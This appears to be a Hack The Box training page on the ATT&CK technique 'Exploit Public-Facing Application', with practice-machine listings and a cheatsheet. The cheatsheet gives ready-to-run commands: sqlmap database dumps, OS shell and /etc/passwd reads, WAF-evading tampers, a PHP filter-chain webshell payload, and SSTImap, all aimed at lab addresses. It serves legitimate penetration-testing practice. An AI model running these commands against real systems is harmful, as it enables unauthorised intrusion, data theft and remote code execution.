T1190

Exploit Public-Facing Application

Abusing a flaw in an internet-facing application (web, API, CMS) to run code or read data.

How it shows up on Hack The Box

It is the way in for most boxes: injections (SQL, command, SSTI), LFI, file upload, deserialization or a public CVE for the installed version. Below you have each variant with its machines.

Techniques in our catalog that match this one (the number is their machines):

Machines to practice it

Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.

Showing 48 of 218. Open each catalog technique above to see them all.

Guides

Commands

Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.

Your values Saved in this browser and applied to every cheatsheet.

SQL injection payloads › sqlmap

Test a GET parameter Attacker
sqlmap -u 'http://10.10.11.20/item.php?id=1' --batch --dbs
From a request saved in Burp Attacker
sqlmap -r peticion.txt --batch --level 5 --risk 3
Forms on the page Attacker
sqlmap -u 'http://10.10.11.20/login.php' --forms --batch
Dump a table Attacker
sqlmap -r peticion.txt --batch -D app -T users --dump
Boolean and time based only Attacker
sqlmap -r peticion.txt --batch --technique=BT
Evade filters with tampers Attacker
sqlmap -r peticion.txt --batch --tamper=space2comment,between
Injection in a cookie or header Attacker
sqlmap -u 'http://10.10.11.20/' --cookie='session=abc*' --batch --level 2

The asterisk marks where to inject.

OS shell Attacker
sqlmap -r peticion.txt --batch --os-shell
Read a file Attacker
sqlmap -r peticion.txt --batch --file-read=/etc/passwd

LFI, SSTI, command injection and XXE › LFI

RCE without uploading anything (filter chain) Attacker
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'

Builds a huge php://filter chain that writes that code when included. Tool by Synacktiv.

LFI, SSTI, command injection and XXE › SSTI

SSTImap Attacker
python3 sstimap.py -u 'http://10.10.11.20/page?name=test'

sqlmap › Extras

Get past a simple WAF
sqlmap -r peticion.txt --batch --tamper=space2comment,between --random-agent
Injection in a cookie
sqlmap -u http://box.htb/ --cookie='id=1*' --level 2 --batch

The asterisk marks where to inject.

Tools

Related cheatsheets